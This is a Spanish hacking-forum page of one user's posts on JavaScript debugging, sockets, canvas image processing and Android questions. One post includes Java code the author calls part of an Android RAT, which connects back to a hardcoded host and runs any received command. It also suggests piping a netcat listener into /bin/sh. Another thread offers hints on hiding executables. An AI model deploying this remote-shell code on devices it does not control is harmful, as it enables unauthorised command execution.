elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


  Mostrar Mensajes
Páginas: 1 ... 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 [60] 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 ... 287
591  Programación / Desarrollo Web / Re: No cambia el valor de mi variable JS en: 3 Mayo 2020, 11:46 am
Citar
// aqui la eh dejado así null o vacia
/* Ni está null, ni está vacia ni sin definir. Es un number con valor 0. No es lo mismo. */
var nl = 0;

$("#st").click(function (e) {
  /* Usa mínimo 2 espacios de identación. A veces usas 1 y otras 2. Comprueba los ajustes de tu editor. */
  ObNiveles(id); 
  Cniveles();
});

function Cniveles() {   
  //AQUI APARECE 0 NULL O UNDEFINED, TODO DEPENDE DE QUE LE ASIGNE AL INICIO
  /* Depende del valor de nl cuando hagas la llamada a la función Cniveles. */
  console.log(nl);

  var dv = /* Deja siempre el mismo espacio entre el identificador de la variable, el operador de asignación y la expresión. */ $("#levels");
  /* No es coherente que antes obtengas por id de esta forma $("#st") y ahora utilizes el método getElementById, usa siempre la misma forma. */

  var tabla = document.createElement("table");

  var tblBody = document.createElement("tbody");

  var cclevels = 0;

  for (var i = 0; i < 5; i++) {   
    var hilera = document.createElement("tr");

    for (var j = 0; j < nl; j++) {     
      //AQUI NUNCA ENTRA COMO SU VALOR NUNCA PASA DE 0
      /* Depende del valor que tenga nl cuando llames a la función */
    }
  }
  tblBody.appendChild(hilera);
}

/* Aquí estás fuera de la función Cniveles y estás cerrando un corchete de un cuerpo que no existe o que no pegaste en el foro. Te lo dejo comentado. */
tabla.appendChild(tblBody);
dv.appendChild(tabla);
/*}*/

/* Sigue siempre el mismo patrón a la hora de nombrar variables y funciones. En la función anterior usas una mayúscula de primer letra y en esta usas minúscula */

function ObNiveles(rt) {
  var STEP = {
    "x"  : rt
  };

  $.ajax({
    data: STEP,
    url: 'scripts/datagame1.php',
    type: 'POST',
    success: function(data) {
      nl = data;
      //aqui me muestra "recibe:2,valor puesto:2", que es totalmente correcto
      console.log('recibe:'+data+',valor puesto:'+nl);
      /* Aquí estás en una función anónima callback. Esta función se llama cuando se complete la petición al servidor. Todo código que dependa del nuevo valor de nl deber ir aquí o ser llamada desde aquí. */

    }
  });
}
592  Seguridad Informática / Hacking / Re: Ocultar .exe en: 3 Mayo 2020, 00:32 am
Usa el reshacker y hay otra que no me viene el nombre ahora. Jalgo
593  Seguridad Informática / Hacking / Re: Ocultar .exe en: 2 Mayo 2020, 23:51 pm
Si se puede. Quieres que te lo digan o que no te lo digan? '--


Hay programas que lo hacen, mira su código fuente y verás como.


Tienes que entender como elige windows que aplicaciones abrir, con que programas, el propio formato de los ejecutables, los mime types y demás.
594  Comunicaciones / Redes / Re: Puntero del ratón en un VPS en: 2 Mayo 2020, 21:11 pm
Lo normal es usar comandos para controlar el sistema. Muchos servidores no tienen ni interfaz.
Si quieres controlar el ratón sí o sí usa el teamviewer.
595  Programación / Scripting / Re: app remota con python en: 2 Mayo 2020, 19:45 pm
Necesitas una aplicación android. OJO: puedes usar el navegador como cliente para mandar los comandos. Por ejemplo:

197.72.183.34/comando?c=apagar

197.72.183.34/comando?c=encender

 

A parte de usar el navegador puedes desarrollar tu la aplicación. Siendo para Android deberías usar Java. También puedes usar html+javascript aunque quizás no sea tan cómodo como una aplicación en Java que puedes automatizar. O si qiieres usar cualquier otro lenguaje como oueda ser Python, puedes optar directamente por Termux y ahí disponer de todos los lenguajes como si un sistema Linux se tratase o descargar Pydroid3 si solo vas a desarrollar en Python y usar comandos muy simples.



Ahora, para el programa del pc puedes hacerlo con el lenguaje que quieras o directamente con comandos de la terminal y tareas programables.



Para que no te pierdas, el programa que hagas para Android tiene una única misión, enviar un texto para indicar lo que quieras hacer en el pc. Es super sencillo.


El programa del PC tiene la misión de escuchar los mensajes y ejecutar código en base a ellos.

if textoRecibido == "Apagar":

 codigo para apagar.



Para hacer estos programas tu mejor aliado son los sockets, que sirven para enviar datos a través de la red.

En python 2 programas de estas características son aproximadamente 10-15 lineas de código para el cliente y 20-30 para el servidor.



Como info adicional puedes invertir el proceso. Siendo el servidor el que se ejecute en Android y el cliente en el PC.


Por otro lado tienes que abrir puertos del router hacia el dispositivo que RECIBA la conexión.

Si buscas por google python client sockets o python server sockets te saldrán un montón de ejemplos.

Ejemplo de cliente:
Código
  1. import socket
  2. def netcat(host, puerto, contenido):
  3. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  4. s.connect((host, puerto))
  5. contenido="GET /index.html HTTP/1.1\r\nHost: www.google.com\r\nConnection: close\r\n\r\n"
  6. contenido = contenido.encode('utf-8')
  7. s.sendall(contenido)
  8. response = b''
  9. while 1:
  10. recv = s.recv(2048)
  11. resp = repr(recv)
  12. respT= len(resp)
  13. if respT < 5:
  14. break
  15. response += recv
  16. s.shutdown(socket.SHUT_WR)
  17. s.close()
  18. return response
  19.  
  20. respuesta = netcat("google.com" , 80 , 1)
  21. print(respuesta)
  22. print("Fin ejec")


Ejemplo código servidor:
Código
  1. import socket
  2. s = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
  3. host = s.gethostname()
  4. port = 9999
  5. serversocket.bind((host, port))
  6. nOR=5
  7. serversocket.listen(nOR)
  8. while True:
  9. clientsocket,addr = serversocket.accept()
  10. print("Got a connection from %s" % str(addr)) msg = 'Thank you for connecting'+ "\r\n"
  11. clientsocket.send(msg.encode('ascii'))
  12. clientsocket.close()


El cliente lo tengo testeado y funciona correctamente aunque necesita mucha mejora. El servidor no lo testee.
Te recomiendo hacerlo de 0. Estes códigos solo los comparto como ejemplos para que más o menos veas como es la historia. No como códigos totalmente funcionales y listos para usar.

Aquí te dejo también un mini ejemplo del uso de sockets en Java. En este caso es parte del código de un servidor RAT para controlar un Android que programé el otro día.
Código
  1. package com.stringmanolo.rs;
  2.  
  3. import java.io.BufferedReader;
  4. import java.io.InputStreamReader;
  5. import java.io.OutputStream;
  6. import java.net.InetSocketAddress;
  7. import java.net.Socket;
  8. import android.os.SystemClock;
  9. /* Mensajes en la app para debug.
  10. import android.widget.Toast;
  11. */
  12.  
  13.  
  14. public class Conexion {
  15. public static void Conectar(){
  16. Thread hilo = new Thread(new Runnable() {
  17. @Override
  18. public void run() {
  19. Socket socket = new Socket();
  20.  
  21. /* Intenta establecer una conexión a la dirección y puertos hardcodeados durante timeout*/
  22. try {
  23. /* Bloquea toda la aplicación */
  24. SystemClock.sleep(30000);
  25. socket.connect(new InetSocketAddress("192.168.11.1", 8585), 10000);
  26. } catch(Exception errConexion) {
  27. /* Muestra el error en un mensaje emergente en la aplicación por motivos de debug.
  28.  Toast.makeText(getApplicationContext(),errConexion.toString(),Toast.LENGTH_SHORT).show();
  29.  */
  30. android.os.Process.killProcess(android.os.Process.myPid());
  31. }
  32.  
  33. /* Comunicación por el socket */
  34. try {
  35. OutputStream peticion = socket.getOutputStream();
  36. String msgInicial = "SISTEMA REMOTO OPERATIVO\nEscribe ayuda para mostrar una lista de comandos disponibles\n";
  37. /* Envia el texto al cliente remoto */
  38. peticion.write(msgInicial.getBytes("UTF-8"));
  39. /* INCLUIR: Escribir info al establecer la conexión para identificar el servidor de forma única */
  40. peticion.flush();
  41.  
  42.  
  43. /* Recibe por el socket el texto a ejecutar */
  44. String linea = "";
  45. String respuesta = "";
  46. BufferedReader buffLeer = new BufferedReader(new InputStreamReader(socket.getInputStream(), "UTF-8"));
  47.  
  48.  
  49. /* Mientras se reciban datos desde el cliente */
  50. while((linea = buffLeer.readLine()) != null) {
  51. /* Innecesario, utilizar += en caso de querer loggear input del cliente */
  52. respuesta = linea;
  53.  
  54. /* En caso de que el input recibido comienze por # */
  55. if (respuesta.charAt(0) == '#') {
  56. /* Quita el # para procesar el resto del input recibido */
  57. respuesta = respuesta.substring(1);
  58.  
  59. try {
  60. /* Pasa el comando directamente a la consola del sistema. */
  61. /* CUIDADO: Vas crashear la aplicación si utilizas comandos no permitidos por el sistema. O comandos inexistentes. */
  62. /* ALTERNATIVA: Implementa la utilidad o impórtala como librería para manejar las excepciones. */
  63. /* PROBLEMA: No utilizar directamente binarios que requiera de input directo desde shell. */
  64. /* SOLUCIÓN: La aplicación se reinicia cada X tiempo. Esto soluciona múltiples problemas relacionados con cuelges de servicios del sistema */
  65. Process comando = Runtime.getRuntime().exec(respuesta);
  66.  
  67. /* Obtiene el resultado en la consola del sistema del dispositivo generada por el comando. */
  68. BufferedReader salidaRemota = new BufferedReader(new InputStreamReader(comando.getInputStream()));
  69.  
  70.  
  71. String salidaComando = null;
  72. /* Mientras se reciba salida del sistema remoto */
  73. while((salidaComando = salidaRemota.readLine()) != null) {
  74. /* Añade saltos de linea a la salida tras cada linea. */
  75. salidaComando += "\n";
  76. /* Escribe en el socket */
  77. peticion.write(salidaComando.getBytes("UTF-8"));
  78. }
  79.  
  80. } catch(Exception err) {
  81. /* Muestra el error en un mensaje emergente en la aplicación por motivos de debug.
  82.  Toast.makeText(getApplicationContext(),err.toString(),Toast.LENGTH_SHORT).show();
  83.  */
  84. }
  85. }
  86.  
  87. /* En caso de que el input recibido sea programas */
  88. if (respuesta.trim().equals("programas")) {
  89. /* Muestra los binarios disponibles en el sistema. */
  90. Process bin = Runtime.getRuntime().exec("ls system/bin");
  91. BufferedReader stdInput = new BufferedReader(new InputStreamReader(bin.getInputStream()));
  92. String salidaBin = null;
  93. while((salidaBin = stdInput.readLine()) != null) {
  94. salidaBin += "\n";
  95. peticion.write(salidaBin.getBytes("UTF-8"));
  96. }
  97. }
  98.  
  99. /* En caso de que el input recibido sea salir */
  100. if (respuesta.trim().equals("salir")) {
  101. /* Muestra un mensaje antes de salir. */
  102. peticion.write("Aplicación Cerrada.\nAdios!\n".getBytes("UTF-8"));
  103.  
  104. /* Cierra el socket aquí o en OnStop */
  105. socket.close();
  106. /* Finaliza La Aplicación Forzosamente */
  107. android.os.Process.killProcess(android.os.Process.myPid());
  108. }
  109.  
  110. /* En caso de que el input recibido sea ayuda. */
  111. if (respuesta.trim().equals("ayuda")) {
  112. /* Muestra el texto. */
  113. peticion.write("Acciones Disponibles:\nprogramas\n Lista todos los binarios preinstalados en el sistema remoto\n\n#comando\n Ejecuta el comando a continuación del símbolo #, por ejemplo #ls\n\nsalir\n Cierra la conexión y el programa remoto.\n".getBytes("UTF-8"));
  114. }
  115. }
  116. } catch(Exception errConexion) {
  117. /* Es obligatorio capturar la excepción */
  118. }
  119. } /* Fin Runneable */
  120. }); /* Fin Hilo */
  121. hilo.start();
  122. }
  123. }

Te dejo también el código javascript de un cliente:
Código
  1. function Enviar(ip, puerto, mensaje) {
  2.  
  3. var b = new XMLHttpRequest(), url = ip+"?mensaje="+mensaje+":"+puerto;
  4. try{
  5. b.onreadystatechange = function(){
  6. if(b.readyState == 4 && b.status == 200) {
  7. alert(b.responseText);
  8. }
  9. }
  10. }catch(err){alert(err)}
  11. b.open("GET", url, true);
  12. b.send();
  13. }



También puedes usar comados como netcat -l -k -v ip puerto > /bin/sh o cmd para exponer el pc a ser controlado directamente por comandos. Podrías usar grep para parsear el text enviado por el cliente y que se ejecute el comando directamente.


Si necesitas ejemplos en otros lenguajes de programación tengo desarrollados clientes y servidores en C, Cpp, php, lua, bash/batch, perl, node.js ....




596  Comunicaciones / Dispositivos Móviles (PDA's, Smartphones, Tablets) / Re: Imagenes raras en Android en: 2 Mayo 2020, 17:30 pm
Son assets y resources de aplicaciones. Yo tengo más de 1000 en la galería.


Por ejemplo si instalas una aplicación de edición de imágenes, pueden incluir todas las imágenes una carpeta en el almacenamiento del dispositivo o la tarjeta sd para su uso posterior. También mucha app con anuncios hace esto. Y algunos navegadores entre otras aplicaciones guardan imágenes coml cache.


La aplicación de la galería indexa en las carpetas en búsqueda de todas la imagenes a las que puede acceder bajo X directorio.
Si fuese un virus no haría eso xD. Las ocultaría dentro de la carpeta exclusiva de su programa o incluso como código. Es una gran misconception pensar que los virus te van a dar pistas obvias de que están ahí.
597  Programación / Programación C/C++ / Re: [ALGEBRA DE MATRICES] Matriz triangular superior desdendiente en C. en: 2 Mayo 2020, 11:45 am
Lo hice en javascript. Seguro que se puede hacer mucho más peque.
Código
  1. upperTriangleDesc=A=>{
  2.  for(i=1;i<A.length;++i)
  3.    for(j=0;j<i;++j)
  4.      if(A[i][j])return 0
  5.  ;return 1
  6. }
598  Comunicaciones / Redes / Re: ¿Estoy abriendo los puertos? en: 2 Mayo 2020, 09:22 am
EdePC ese es el bueno, el que te trae -e --lua-exec y demás? Facilita mucho a gente que no tiene ninguna experiencia con comandos.
Yo creo que el que uso es el que viene con nmap. En el github de nmap te tienen scrips como pueda ser un servidor en Lua para que corrar con el netcat y tal. Es muy útil para alojar y testear páginas o ver/compartir algunos archivos de forma sencilla.
599  Programación / Desarrollo Web / Re: ¿Como cambian el color de una imagen? en: 2 Mayo 2020, 09:08 am
Pues hay bastantes formas. La más cutre y trabajosa posiblemente sea editar las fotos a mano y cambiarlas cada vez que pinchan en un color.

Yo personalmente cambiaría el color de los píxeles usando el canvas y javascript. Te dejo un código en el que uso los colores para recrear la imagen con etiquetas a las que aplico css en base a los propios colores de cada pixel. En vez de eso puedes editar los colores directamente en la imagen que está sobre el canvas.


Código
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>OCR</title>
  6. <script>
  7. /* SHORTCUTJS lib by StringManolo.
  8. Use of the global Scope to code faster, reduce file sizes, reduce memory usage and make some code more readable/compact. Readable Version */
  9. (function (){
  10. DEFINE=function(constant, value) {
  11. if(window[constant]===undefined) {
  12. window[constant] = value
  13. } else {
  14. throw new ReferenceError(constant + " is already a property of the global/window Object.\nRedefinition not allowed.");
  15. }
  16. }
  17.  
  18.  
  19. wrapQS=function(selector) {
  20. return d.querySelector(selector)
  21. }
  22.  
  23.  
  24. wrapQSA=function(selector) {
  25. return d.querySelectorAll(selector)
  26. }
  27.  
  28.  
  29. wrapAEL=function(elemnt, event, value) {
  30. elemnt.addEventListener(event, value);
  31. }
  32.  
  33.  
  34. wrapDCE=function(element) {
  35. return d.createElement(element);
  36. }
  37.  
  38.  
  39. wrapUCOU=function(url) {
  40. return URL.createObjectURL(url)
  41. }
  42.  
  43.  
  44.  
  45.  
  46. DEFINE("d", window.document);
  47. DEFINE("w", window);
  48. DEFINE("$", wrapQS);
  49. DEFINE("$$", wrapQSA);
  50. DEFINE("dw", d.write);
  51. DEFINE("_", window.alert);
  52. DEFINE("ael", wrapAEL);
  53. DEFINE("dce", wrapDCE);
  54. DEFINE("ucou", URL.createObjectURL);
  55.  
  56.  
  57. })();
  58. </script>
  59. </head>
  60. <body>
  61. <canvas id="canv" width="300" height="300"></canvas>
  62. <div id="output"></div>
  63. <!-- <a href="" id="a">click here to download your file</a> -->
  64. <style>
  65. canvas {
  66. background-color: blue;
  67. }
  68.  
  69.  
  70. body {
  71. background-color: #000;
  72. font-size: 2px;
  73. }
  74.  
  75.  
  76. span {
  77. padding: 0;
  78. letter-spacing: -1;
  79. }
  80.  
  81.  
  82. </style>
  83. <script>
  84. /* DOWNLOAD IMAGE CROSSORIGEN: (to avoid tainted canvas) */
  85. const request = fetch("https://cors-anywhere.herokuapp.com/" + prompt("Introduce URL de imagen. Ej: google.com/favicon.ico"));
  86. request.then(function(resp) {
  87. return resp.blob();
  88. }).then(function(blob) {
  89. let img = dce("img");
  90. const blobURL = ucou(blob);
  91. img.src = blobURL;
  92. img.id = "imagen";
  93. d.body.append(img);
  94. _("Imagen añadida");
  95. }).then(function(){
  96. ael($("#imagen"), "load", function(){LIIC()});
  97. }).catch(function(error) {
  98. _("Error: " + error);
  99. })
  100.  
  101.  
  102.  
  103.  
  104. /* LOAD IMAGE INTO CANVAS */
  105. function LIIC() {
  106. let canvas = $("#canv");
  107.  
  108.  
  109. let contexto = canvas.getContext("2d");
  110. let imagen = $("#imagen");
  111. canvas.width = imagen.width;
  112. canvas.height = imagen.height;
  113. contexto.drawImage(imagen,0,0);
  114.  
  115.  
  116. SacarPixeles();
  117.  
  118.  
  119. /* GET PIXELS IMAGE COLOR AND DRAW A IMAGE */
  120. function SacarPixeles(){
  121. let dataImagen = contexto.getImageData(0,0, canvas.width, canvas.height);
  122. _("Tamaño imagen data: " + dataImagen.data.length);
  123.  
  124.  
  125. let pixR =[], pixG =[], pixB =[], pixA =[];
  126.  
  127.  
  128.  
  129.  
  130. let k = "";
  131. for(var i =0, j =0; i < dataImagen.data.length; i +=4, ++j) {
  132. k += "Colores pixel" +(j+1)+ ": Rojo=" +dataImagen.data[i]+" \nVerde=" +dataImagen.data[i+1]+" \nAzul=" +dataImagen.data[i+2]+" \nAlfa=" +dataImagen.data[i+3]+"\n\n\n";
  133. pixR[j] = dataImagen.data[i].toString(16);
  134. pixG[j] = dataImagen.data[1+i].toString(16);
  135. pixB[j] = dataImagen.data[2+i].toString(16);
  136. pixA[j] = dataImagen.data[3+i].toString(16);
  137. }
  138.  
  139.  
  140. performance = d.createDocumentFragment();
  141. for(var i=0; i < pixR.length; ++i) {
  142. var tdiv=dce("b");
  143. var tbr=dce("br");
  144. if(i % canvas.width == 0) {
  145. performance.appendChild(tbr);
  146. }
  147. /*
  148. &#9617;&#9618;&#9619;&#9608;
  149. */
  150. tdiv.innerHTML = "&#9619;";
  151. tdiv.style.color = "#"+pixR[i]+""+pixG[i]+""+pixB[i]+""+pixA[i]+"";
  152. performance.appendChild(tdiv);
  153. }
  154. _("Escribiendo...");
  155. $("#output").appendChild(performance);
  156.  
  157.  
  158. _("Imagen percorrida");
  159. _(k);
  160. k = "";
  161. }
  162.  
  163.  
  164.  
  165.  
  166. }
  167.  
  168.  
  169. </script>
  170. </body>
  171. </html>
600  Programación / Desarrollo Web / Re: Usar react offline? en: 2 Mayo 2020, 08:58 am
Ya viera por ahí lo de instalarlo así en node. Lo malo es que tengo el Android que uso para desarrollo petado y mi internet es de pocos kb/s xD. Tiene que ir como lo estaba intentando, no sé cual es el problema... Lo intentaré de nuevo capturando las petis de las libs originales y las replico con netcat o algo. Se me hace extraño que no me vaya como lo intenté, por eso lo comenté a ver si alguien ve el problema. Con vue hice exactamente lo mismo y me va perfecto.

Si no lo consigo cuando me den los datos limpio un poco el Smartphone y lo instalo por node tal como me recomiendas. Gracias.
Páginas: 1 ... 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 [60] 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 ... 287
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines